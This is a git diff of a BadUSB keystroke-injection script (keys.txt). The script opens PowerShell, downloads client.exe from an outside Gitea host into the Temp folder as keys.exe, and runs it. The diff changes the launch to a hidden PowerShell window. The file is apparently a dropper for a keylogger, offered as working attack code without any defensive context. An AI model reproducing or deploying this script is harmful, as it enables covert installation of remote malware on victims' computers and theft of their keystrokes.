diff --git a/keys.txt b/keys.txt index 2c23e78..d9dc625 100644 --- a/keys.txt +++ b/keys.txt @@ -1,19 +1,15 @@ REM open powershell -WIN R +GUI r +DELAY 1000 STRING powershell ENTER -DELAY 1000 +DELAY 2000 REM download client.exe file STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/v1.0.0/client.exe -OutFile .\AppData\Local\Temp\keys.exe ENTER -DELAY 13000 +DELAY 15000 -RUN client.exe file -STRING Start-Process -FilePath .\AppData\Local\Temp\keys.exe -NoNewWindow -ENTER -DELAY 1000 - -RUN close powershell -STRING exit +REM client.exe file (closes automatically) +STRING powershell.exe -WindowStyle hidden { Start-Process -FilePath .\AppData\Local\Temp\keys.exe -NoNewWindow } ENTER